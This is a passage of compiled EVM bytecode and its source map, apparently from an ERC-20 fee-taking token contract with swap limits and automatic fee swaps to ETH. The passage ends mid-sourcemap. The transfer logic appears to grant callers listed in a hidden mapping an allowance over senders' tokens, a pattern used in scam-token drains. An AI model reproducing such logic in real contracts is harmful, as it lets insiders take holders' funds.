b600081116109cf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610372565b60006109dc848484610a2a565b90506109ea84848484610c8a565b50505050565b60008184841115610a145760405162461bcd60e51b8152600401610372919061156c565b506000610a218486611779565b95945050505050565b600080610a3f6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a6e57506000546001600160a01b03858116911614155b15610c8257610a9f6064610a99600954600c5411610a8e57600554610a92565b6007545b8690610df8565b90610e7e565b6010549091506001600160a01b03868116630100000090920416148015610ad457506011546001600160a01b03858116911614155b8015610af957506001600160a01b03841660009081526003602052604090205460ff16155b15610b3e5743600d5414610b11576000600e5543600d555b82600e6000828254610b239190611632565b9091555050600c8054906000610b3883611790565b91905055505b6010546001600160a01b03858116630100000090920416148015610b6b57506001600160a01b0385163014155b15610bee57610b78610ec0565b600e541080610b89575043600d5414155b610bc65760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b6044820152606401610372565b610beb6064610a99600a54600c5411610be157600654610a92565b6008548690610df8565b90505b3060009081526001602052604090205460105460ff16158015610c2557506010546001600160a01b03868116630100000090920416145b8015610c39575060105462010000900460ff165b8015610c485750600b54600c54115b15610c8057600f54811115610c7457610c74610c6f85610c6a84600f5461106c565b61106c565b611081565b47610c7e47611201565b505b505b949350505050565b8015610d045730600090815260016020526040902054610caa908261123f565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfb9085815260200190565b60405180910390a35b6000610d0e61129e565b90506001600160a01b03811615610d2e57610d2e858261033986866112c0565b6001600160a01b038516600090815260016020526040902054610d5190846112cc565b6001600160a01b038616600090815260016020526040902055610d96610d7784846112cc565b6001600160a01b0386166000908152600160205260409020549061123f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610de086866112cc565b60405190815260200160405180910390a35050505050565b600082610e07575060006102b8565b6000610e13838561175a565b905082610e20858361164a565b14610e775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610372565b9392505050565b6000610e7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130e565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2957600080fd5b505afa158015610f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f619190611359565b81600081518110610f7457610f746117c1565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610fa857610fa86117c1565b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f90610ff4906729a2241af62c0000908690600401611553565b60006040518083038186803b15801561100c57600080fd5b505afa158015611020573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611048919081019061141c565b90508060018151811061105d5761105d6117c1565b60200260200101519250505090565b600081831161107b5782610e77565b50919050565b6010805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c3576110c36117c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561111757600080fd5b505afa15801561112b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114f9190611359565b81600181518110611162576111626117c1565b6001600160a01b0392831660209182029290920101526011546111889130911684610783565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c19085906000908690309042906004016115f6565b600060405180830381600087803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b5050565b60008061124c8385611632565b905083811015610e775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610372565b3360009081526004602052604081205460ff166112bb5750600090565b503390565b6000610e778284611632565b6000610e7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109f0565b6000818361132f5760405162461bcd60e51b8152600401610372919061156c565b506000610a21848661164a565b60006020828403121561134e57600080fd5b8135610e77816117ed565b60006020828403121561136b57600080fd5b8151610e77816117ed565b6000806040838503121561138957600080fd5b8235611394816117ed565b915060208301356113a4816117ed565b809150509250929050565b6000806000606084860312156113c457600080fd5b83356113cf816117ed565b925060208401356113df816117ed565b929592945050506040919091013590565b6000806040838503121561140357600080fd5b823561140e816117ed565b946020939093013593505050565b6000602080838503121561142f57600080fd5b825167ffffffffffffffff8082111561144757600080fd5b818501915085601f83011261145b57600080fd5b81518181111561146d5761146d6117d7565b8060051b604051601f19603f83011681018181108582111715611492576114926117d7565b604052828152858101935084860182860187018a10156114b157600080fd5b600095505b838610156114d45780518552600195909501949386019386016114b6565b5098975050505050505050565b6000806000606084860312156114f657600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115485781516001600160a01b031687529582019590820190600101611523565b509495945050505050565b828152604060208201526000610c82604083018461150f565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b818111156115ab576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061161560a083018661150f565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611645576116456117ab565b500190565b60008261166757634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116a757816000190482111561168d5761168d6117ab565b8085161561169a57918102915b93841c9390800290611671565b509250929050565b6000610e7760ff8416836000826116c8575060016102b8565b816116d5575060006102b8565b81600181146116eb57600281146116f557611711565b60019150506102b8565b60ff841115611706576117066117ab565b50506001821b6102b8565b5060208310610133831016604e8410600b8410161715611734575081810a6102b8565b61173e838361166c565b8060001904821115611752576117526117ab565b029392505050565b6000816000190483118215151615611774576117746117ab565b500290565b60008282101561178b5761178b6117ab565b500390565b60006000198214156117a4576117a46117ab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461180257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0adf981dd9c35c1bd5f75e534e9df89baf38e678e7ab202605bf6e23dd6bffb64736f6c63430008070033

Deployed Bytecode Sourcemap

4089:8098:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6550:83;;;;;;;;;;-1:-1:-1;6620:5:0;;;;;;;;;;;-1:-1:-1;;;6620:5:0;;;;6550:83;;;;6620:5;6550:83;:::i;:::-;;;;;;;;7388:161;;;;;;;;;;-1:-1:-1;7388:161:0;;;;;:::i;:::-;;:::i;:::-;;;4888:14:1;;4881:22;4863:41;;4851:2;4836:18;7388:161:0;4723:187:1;6827:95:0;;;;;;;;;;;;;:::i;:::-;;;9868:25:1;;;9856:2;9841:18;6827:95:0;9722:177:1;7557:317:0;;;;;;;;;;-1:-1:-1;7557:317:0;;;;;:::i;:::-;;:::i;6736:83::-;;;;;;;;;;-1:-1:-1;6736:83:0;;4460:1;10633:36:1;;10621:2;10606:18;6736:83:0;10491:184:1;6930:121:0;;;;;;;;;;-1:-1:-1;6930:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;7023:20:0;6996:7;7023:20;;;:11;:20;;;;;;;6930:121;3932:148;;;;;;;;;;;;;:::i;:::-;;3718:79;;;;;;;;;;-1:-1:-1;3756:7:0;3783:6;3718:79;;-1:-1:-1;;;;;3783:6:0;;;3740:51:1;;3728:2;3713:18;3718:79:0;3594:203:1;6242:300:0;;;;;;;;;;;;;:::i;7059:167::-;;;;;;;;;;-1:-1:-1;7059:167:0;;;;;:::i;:::-;;:::i;5888:309::-;;;;;;;;;;;;;:::i;7234:146::-;;;;;;;;;;-1:-1:-1;7234:146:0;;;;;:::i;:::-;-1:-1:-1;;;;;7342:21:0;;;7315:7;7342:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;7234:146;7388:161;7463:4;7480:39;1808:10;7503:7;7512:6;7480:8;:39::i;:::-;-1:-1:-1;7537:4:0;7388:161;;;;;:::o;6827:95::-;6880:7;4516:13;4460:1;4516:2;:13;:::i;:::-;4503:26;;:10;:26;:::i;:::-;6900:14;;6827:95;:::o;7557:317::-;7655:4;7672:36;7682:6;7690:9;7701:6;7672:9;:36::i;:::-;7720:124;7729:6;1808:10;7751:92;7792:6;7751:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7751:22:0;;;;;;:14;:22;;;;;;;;1808:10;7751:36;;;;;;;;;;:40;:92::i;:::-;7720:8;:124::i;:::-;-1:-1:-1;7862:4:0;7557:317;;;;;:::o;3932:148::-;3845:6;;-1:-1:-1;;;;;3845:6:0;1808:10;3845:22;3837:67;;;;-1:-1:-1;;;3837:67:0;;;;;;;:::i;:::-;;;;;;;;;4039:1:::1;4023:6:::0;;4002:40:::1;::::0;-1:-1:-1;;;;;4023:6:0;;::::1;::::0;4002:40:::1;::::0;4039:1;;4002:40:::1;4070:1;4053:19:::0;;-1:-1:-1;;;;;;4053:19:0::1;::::0;;3932:148::o;6242:300::-;3845:6;;-1:-1:-1;;;;;3845:6:0;1808:10;3845:22;3837:67;;;;-1:-1:-1;;;3837:67:0;;;;;;;:::i;:::-;6296:11:::1;:69:::0;;-1:-1:-1;;;;;;6296:69:0::1;6322:42;6296:69:::0;;::::1;::::0;;;6376:54:::1;::::0;6393:4:::1;::::0;4516:13:::1;4460:1;4516:2;:13;:::i;:::-;4503:26;::::0;:10:::1;:26;:::i;6376:54::-;6466:11;;;;;;;;;-1:-1:-1::0;;;;;6466:11:0::1;-1:-1:-1::0;;;;;6466:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6453:46:0::1;;6508:4;6515:11;;;;;;;;;-1:-1:-1::0;;;;;6515:11:0::1;-1:-1:-1::0;;;;;6515:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6453:81;::::0;-1:-1:-1;;;;;;6453:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4032:15:1;;;6453:81:0::1;::::0;::::1;4014:34:1::0;4084:15;;4064:18;;;4057:43;3949:18;;6453:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6441:9;;:93;;;;;-1:-1:-1::0;;;;;6441:93:0::1;;;;;-1:-1:-1::0;;;;;6441:93:0::1;;;;;;6242:300::o:0;7059:167::-;7137:4;7154:42;1808:10;7178:9;7189:6;7154:9;:42::i;5888:309::-;3845:6;;-1:-1:-1;;;;;3845:6:0;1808:10;3845:22;3837:67;;;;-1:-1:-1;;;3837:67:0;;;;;;;:::i;:::-;5952:13:::1;::::0;::::1;::::0;::::1;;;5951:14;5943:49;;;::::0;-1:-1:-1;;;5943:49:0;;9572:2:1;5943:49:0::1;::::0;::::1;9554:21:1::0;9611:2;9591:18;;;9584:30;9650:25;9630:18;;;9623:53;9693:18;;5943:49:0::1;9370:347:1::0;5943:49:0::1;6003:11;::::0;-1:-1:-1;;;;;6003:11:0::1;:27;6038:21;6069:4;6075:24;6069:4:::0;-1:-1:-1;;;;;7023:20:0;6996:7;7023:20;;;:11;:20;;;;;;;6930:121;6075:24:::1;6100:1;6102::::0;6104:7:::1;3756::::0;3783:6;-1:-1:-1;;;;;3783:6:0;;3718:79;6104:7:::1;6003:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6003:125:0;;;-1:-1:-1;;;;;4470:15:1;;;6003:125:0::1;::::0;::::1;4452:34:1::0;4502:18;;;4495:34;;;;4545:18;;;4538:34;;;;4588:18;;;4581:34;4652:15;;;4631:19;;;4624:44;6112:15:0::1;4684:19:1::0;;;4677:35;4386:19;;6003:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6139:12:0::1;:19:::0;;-1:-1:-1;;6169:20:0;;;;;-1:-1:-1;5888:309:0:o;7882:338::-;-1:-1:-1;;;;;7975:19:0;;7967:68;;;;-1:-1:-1;;;7967:68:0;;8824:2:1;7967:68:0;;;8806:21:1;8863:2;8843:18;;;8836:30;8902:34;8882:18;;;8875:62;-1:-1:-1;;;8953:18:1;;;8946:34;8997:19;;7967:68:0;8622:400:1;7967:68:0;-1:-1:-1;;;;;8054:21:0;;8046:68;;;;-1:-1:-1;;;8046:68:0;;6486:2:1;8046:68:0;;;6468:21:1;6525:2;6505:18;;;6498:30;6564:34;6544:18;;;6537:62;-1:-1:-1;;;6615:18:1;;;6608:32;6657:19;;8046:68:0;6284:398:1;8046:68:0;-1:-1:-1;;;;;8125:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;8180:32;;9868:25:1;;;8180:32:0;;9841:18:1;8180:32:0;;;;;;;7882:338;;;:::o;8228:433::-;-1:-1:-1;;;;;8319:19:0;;8311:69;;;;-1:-1:-1;;;8311:69:0;;8418:2:1;8311:69:0;;;8400:21:1;8457:2;8437:18;;;8430:30;8496:34;8476:18;;;8469:62;-1:-1:-1;;;8547:18:1;;;8540:35;8592:19;;8311:69:0;8216:401:1;8311:69:0;-1:-1:-1;;;;;8399:19:0;;8391:67;;;;-1:-1:-1;;;8391:67:0;;6082:2:1;8391:67:0;;;6064:21:1;6121:2;6101:18;;;6094:30;6160:34;6140:18;;;6133:62;-1:-1:-1;;;6211:18:1;;;6204:33;6254:19;;8391:67:0;5880:399:1;8391:67:0;8485:1;8477:5;:9;8469:63;;;;-1:-1:-1;;;8469:63:0;;8008:2:1;8469:63:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:39;8186:19;;8469:63:0;7806:405:1;8469:63:0;8545:15;8563:34;8577:5;8584;8591;8563:13;:34::i;:::-;8545:52;;8610:43;8624:5;8631;8638;8645:7;8610:13;:43::i;:::-;8300:361;8228:433;;;:::o;907:190::-;993:7;1029:12;1021:6;;;;1013:29;;;;-1:-1:-1;;;1013:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1053:9:0;1065:5;1069:1;1065;:5;:::i;:::-;1053:17;907:190;-1:-1:-1;;;;;907:190:0:o;8669:1462::-;8753:7;;8814;3756;3783:6;-1:-1:-1;;;;;3783:6:0;;3718:79;8814:7;-1:-1:-1;;;;;8805:16:0;:5;-1:-1:-1;;;;;8805:16:0;;;:36;;;;-1:-1:-1;3756:7:0;3783:6;-1:-1:-1;;;;;8825:16:0;;;3783:6;;8825:16;;8805:36;8801:1298;;;8868:75;8939:3;8868:66;8889:15;;8879:9;;:25;8878:55;;8919:14;;8878:55;;;8906:12;;8878:55;8868:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8973:9;;8858:85;;-1:-1:-1;;;;;;8964:18:0;;;8973:9;;;;;8964:18;:51;;;;-1:-1:-1;9003:11:0;;-1:-1:-1;;;;;8986:29:0;;;9003:11;;8986:29;;8964:51;:81;;;;-1:-1:-1;;;;;;9021:24:0;;;;;;:17;:24;;;;;;;;9019:26;8964:81;8960:340;;;9084:12;9069:13;;:27;9066:145;;9139:1;9120:16;:20;9179:12;9163:13;:28;9066:145;9249:5;9229:16;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;9273:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;8960:340;9328:9;;-1:-1:-1;;;;;9319:18:0;;;9328:9;;;;;9319:18;:43;;;;-1:-1:-1;;;;;;9341:21:0;;9357:4;9341:21;;9319:43;9316:284;;;9410:15;:13;:15::i;:::-;9391:16;;:34;:65;;;;9444:12;9429:13;;:27;;9391:65;9383:92;;;;-1:-1:-1;;;9383:92:0;;9229:2:1;9383:92:0;;;9211:21:1;9268:2;9248:18;;;9241:30;-1:-1:-1;;;9287:18:1;;;9280:44;9341:18;;9383:92:0;9027:338:1;9383:92:0;9506:78;9580:3;9506:69;9527:16;;9517:9;;:26;9516:58;;9559:15;;9516:58;;;9545:13;;9506:5;;:9;:69::i;:78::-;9496:88;;9316:284;9654:4;9616:17;7023:20;;;:11;:20;;;;;;9680:10;;;;9679:11;:33;;;;-1:-1:-1;9703:9:0;;-1:-1:-1;;;;;9694:18:0;;;9703:9;;;;;9694:18;9679:33;:49;;;;-1:-1:-1;9716:12:0;;;;;;;9679:49;:83;;;;;9744:18;;9732:9;;:30;9679:83;9675:413;;;9798:15;;9786:9;:27;9783:118;;;9832:69;9849:51;9857:5;9864:35;9872:9;9883:15;;9864:7;:35::i;:::-;9849:7;:51::i;:::-;9832:16;:69::i;:::-;9938:21;10019:34;10031:21;10019:11;:34::i;:::-;9764:324;9675:413;8843:1256;8801:1298;10116:7;8669:1462;-1:-1:-1;;;;8669:1462:0:o;10139:637::-;10247:11;;10244:165;;10321:4;10301:26;;;;:11;:26;;;;;;:39;;10332:7;10301:30;:39::i;:::-;10292:4;10272:26;;;;:11;:26;;;;;;;:68;;;;10358:39;;-1:-1:-1;;;;;10358:39:0;;;;;;;10389:7;9868:25:1;;9856:2;9841:18;;9722:177;10358:39:0;;;;;;;;10244:165;10421:19;10443:16;:14;:16::i;:::-;10421:38;-1:-1:-1;;;;;;10474:25:0;;;10471:104;;10501:74;10524:5;10532:11;10545:29;10559:5;10566:7;10545:13;:29::i;10501:74::-;-1:-1:-1;;;;;10607:18:0;;;;;;:11;:18;;;;;;:29;;10630:5;10607:22;:29::i;:::-;-1:-1:-1;;;;;10586:18:0;;;;;;:11;:18;;;;;:50;10668:42;10691:18;:5;10701:7;10691:9;:18::i;:::-;-1:-1:-1;;;;;10668:18:0;;;;;;:11;:18;;;;;;;:22;:42::i;:::-;-1:-1:-1;;;;;10647:18:0;;;;;;;:11;:18;;;;;:63;;;;10726:42;;;10749:18;:5;10759:7;10749:9;:18::i;:::-;10726:42;;9868:25:1;;;9856:2;9841:18;10726:42:0;;;;;;;10232:544;10139:637;;;;:::o;1105:246::-;1163:7;1187:6;1183:47;;-1:-1:-1;1217:1:0;1210:8;;1183:47;1240:9;1252:5;1256:1;1252;:5;:::i;:::-;1240:17;-1:-1:-1;1285:1:0;1276:5;1280:1;1240:17;1276:5;:::i;:::-;:10;1268:56;;;;-1:-1:-1;;;1268:56:0;;7245:2:1;1268:56:0;;;7227:21:1;7284:2;7264:18;;;7257:30;7323:34;7303:18;;;7296:62;-1:-1:-1;;;7374:18:1;;;7367:31;7415:19;;1268:56:0;7043:397:1;1268:56:0;1342:1;1105:246;-1:-1:-1;;;1105:246:0:o;1359:132::-;1417:7;1444:39;1448:1;1451;1444:39;;;;;;;;;;;;;;;;;:3;:39::i;11192:299::-;11284:16;;;11298:1;11284:16;;;;;;;;11240:7;;;;11284:16;11298:1;11284:16;;;;;;;;-1:-1:-1;;11321:11:0;;:18;;;-1:-1:-1;;;11321:18:0;;;;11260:40;;-1:-1:-1;;;;;;11321:11:0;;;;:16;;-1:-1:-1;11321:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11311:4;11316:1;11311:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;11311:28:0;;;-1:-1:-1;;;;;11311:28:0;;;;;11368:4;11350;11355:1;11350:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11350:23:0;;;:7;;;;;;;;;:23;11411:11;;:41;;-1:-1:-1;;;11411:41:0;;11384:24;;11411:11;;;;;:25;;:41;;11437:8;;11447:4;;11411:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11411:41:0;;;;;;;;;;;;:::i;:::-;11384:68;;11470:10;11481:1;11470:13;;;;;;;;:::i;:::-;;;;;;;11463:20;;;;11192:299;:::o;11499:103::-;11560:7;11588:1;11586;:3;11585:9;;11593:1;11585:9;;;-1:-1:-1;11591:1:0;11499:103;-1:-1:-1;11499:103:0:o;11719:465::-;5352:10;:17;;-1:-1:-1;;5352:17:0;5365:4;5352:17;;;11819:16:::1;::::0;;11833:1:::1;11819:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11819:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11819:16:0::1;11795:40;;11864:4;11846;11851:1;11846:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11846:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11890:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11890:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;11846:7;;11890:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11880:4;11885:1;11880:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11880:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11951:11:::1;::::0;11919:56:::1;::::0;11936:4:::1;::::0;11951:11:::1;11965:9:::0;11919:8:::1;:56::i;:::-;11986:11;::::0;:190:::1;::::0;-1:-1:-1;;;11986:190:0;;-1:-1:-1;;;;;11986:11:0;;::::1;::::0;:62:::1;::::0;:190:::1;::::0;12063:9;;11986:11:::1;::::0;12103:4;;12130::::1;::::0;12150:15:::1;::::0;11986:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5392:10:0;:18;;-1:-1:-1;;5392:18:0;;;-1:-1:-1;;;;11719:465:0:o;11610:101::-;11674:11;;11666:37;;-1:-1:-1;;;;;11674:11:0;;;;11666:37;;;;;11696:6;;11674:11;11666:37;11674:11;11666:37;11696:6;11674:11;11666:37;;;;;;;;;;;;;;;;;;;;;11610:101;:::o;576:179::-;634:7;;666:5;670:1;666;:5;:::i;:::-;654:17;;695:1;690;:6;;682:46;;;;-1:-1:-1;;;682:46:0;;6889:2:1;682:46:0;;;6871:21:1;6928:2;6908:18;;;6901:30;6967:29;6947:18;;;6940:57;7014:18;;682:46:0;6687:351:1;11034:150:0;1808:10;11081:7;11108:30;;;:16;:30;;;;;;;;:67;;-1:-1:-1;11173:1:0;;6827:95::o;11108:67::-;-1:-1:-1;1808:10:0;;6827:95::o;10784:126::-;10860:7;10887:15;10895:7;10887:5;:15;:::i;763:136::-;821:7;848:43;852:1;855;848:43;;;;;;;;;;;;;;;;;:3;:43::i;1499:189::-;1585:7;1620:12;1613:5;1605:28;;;;-1:-1:-1;;;1605:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1644:9:0;1656:5;1660:1;1656;:5;:::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:1116::-;1791:6;1822:2;1865;1853:9;1844:7;1840:23;1836:32;1833:52;;;1881:1;1878;1871:12;1833:52;1914:9;1908:16;1943:18;1984:2;1976:6;1973:14;1970:34;;;2000:1;1997;1990:12;1970:34;2038:6;2027:9;2023:22;2013:32;;2083:7;2076:4;2072:2;2068:13;2064:27;2054:55;;2105:1;2102;2095:12;2054:55;2134:2;2128:9;2156:2;2152;2149:10;2146:36;;;2162:18;;:::i;:::-;2208:2;2205:1;2201:10;2240:2;2234:9;2303:2;2299:7;2294:2;2290;2286:11;2282:25;2274:6;2270:38;2358:6;2346:10;2343:22;2338:2;2326:10;2323:18;2320:46;2317:72;;;2369:18;;:::i;:::-;2405:2;2398:22;2455:18;;;2489:15;;;;-1:-1:-1;2524:11:1;;;2554;;;2550:20;;2547:33;-1:-1:-1;2544:53:1;;;2593:1;2590;2583:12;2544:53;2615:1;2606:10;;2625:156;2639:2;2636:1;2633:9;2625:156;;;2696:10;;2684:23;;2657:1;2650:9;;;;;2727:12;;;;2759;;2625:156;;;-1:-1:-1;2800:6:1;1696:1116;-1:-1:-1;;;;;;;;1696:1116:1:o;2817:306::-;2905:6;2913;2921;2974:2;2962:9;2953:7;2949:23;2945:32;2942:52;;;2990:1;2987;2980:12;2942:52;3019:9;3013:16;3003:26;;3069:2;3058:9;3054:18;3048:25;3038:35;;3113:2;3102:9;3098:18;3092:25;3082:35;;2817:306;;;;;:::o;3128:461::-;3181:3;3219:5;3213:12;3246:6;3241:3;3234:19;3272:4;3301:2;3296:3;3292:12;3285:19;;3338:2;3331:5;3327:14;3359:1;3369:195;3383:6;3380:1;3377:13;3369:195;;;3448:13;;-1:-1:-1;;;;;3444:39:1;3432:52;;3504:12;;;;3539:15;;;;3480:1;3398:9;3369:195;;;-1:-1:-1;3580:3:1;;3128:461;-1:-1:-1;;;;;3128:461:1:o;4915:358::-;5148:6;5137:9;5130:25;5191:2;5186;5175:9;5171:18;5164:30;5111:4;5211:56;5263:2;5252:9;5248:18;5240:6;5211:56;:::i;5278:597::-;5390:4;5419:2;5448;5437:9;5430:21;5480:6;5474:13;5523:6;5518:2;5507:9;5503:18;5496:34;5548:1;5558:140;5572:6;5569:1;5566:13;5558:140;;;5667:14;;;5663:23;;5657:30;5633:17;;;5652:2;5629:26;5622:66;5587:10;;5558:140;;;5716:6;5713:1;5710:13;5707:91;;;5786:1;5781:2;5772:6;5761:9;5757:22;5753:31;5746:42;5707:91;-1:-1:-1;5859:2:1;5838:15;-1:-1:-1;;5834:29:1;5819:45;;;;5866:2;5815:54;;5278:597;-1:-1:-1;;;5278:597:1:o;7445:356::-;7647:2;7629:21;;;7666:18;;;7659:30;7725:34;7720:2;7705:18;;7698:62;7792:2;7777:18;;7445:356::o;9904:582::-;10203:6;10192:9;10185:25;10246:6;10241:2;10230:9;10226:18;10219:34;10289:3;10284:2;10273:9;10269:18;10262:31;10166:4;10310:57;10362:3;10351:9;10347:19;10339:6;10310:57;:::i;:::-;-1:-1:-1;;;;;10403:32:1;;;;10398:2;10383:18;;10376:60;-1:-1:-1;10467:3:1;10452:19;10445:35;10302:65;9904:582;-1:-1:-1;;;9904:582:1:o;10680:128::-;10720:3;10751:1;10747:6;10744:1;10741:13;10738:39;;;10757:18;;:::i;:::-;-1:-1:-1;10793:9:1;;10680:128::o;10813:217::-;10853:1;10879;10869:132;;10923:10;10918:3;10914:20;10911:1;10904:31;10958:4;10955:1;10948:15;10986:4;10983:1;10976:15;10869:132;-1:-1:-1;11015:9:1;;10813:217::o;11035:422::-;11124:1;11167:5;11124:1;11181:270;11202:7;11192:8;11189:21;11181:270;;;11261:4;11257:1;11253:6;11249:17;11243:4;11240:27;11237:53;;;11270:18;;:::i;:::-;11320:7;11310:8;11306:22;11303:55;;;11340:16;;;;11303:55;11419:22;;;;11379:15;;;;11181:270;;;11185:3;11035:422;;;;;:::o;11462:140::-;11520:5;11549:47;11590:4;11580:8;11576:19;11570:4;11656:5;11686:8;11676:80;;-1:-1:-1;11727:1:1;11741:5;;11676:80;11775:4;11765:76;;-1:-1:-1;11812:1:1;11826:5;;11765:76;11857:4;11875:1;11870:59;;;;11943:1;11938:130;;;;11850:218;;11870:59;11900:1;11891:10;;11914:5;;;11938:130;11975:3;11965:8;11962:17;11959:43;;;11982:18;;:::i;:::-;-1:-1:-1;;12038:1:1;12024:16;;12053:5;;11850:218;;12152:2;12142:8;12139:16;12133:3;12127:4;12124:13;12120:36;12114:2;12104:8;12101:16;12096:2;12090:4;12087:12;12083:35;12080:77;12077:159;;;-1:-1:-1;12189:19:1;;;12221:5;;12077:159;12268:34;12293:8;12287:4;12268:34;:::i;:::-;12338:6;12334:1;12330:6;12326:19;12317:7;12314:32;12311:58;;;12349:18;;:::i;:::-;12387:20;;11607:806;-1:-1:-1;;;11607:806:1:o;12418:168::-;124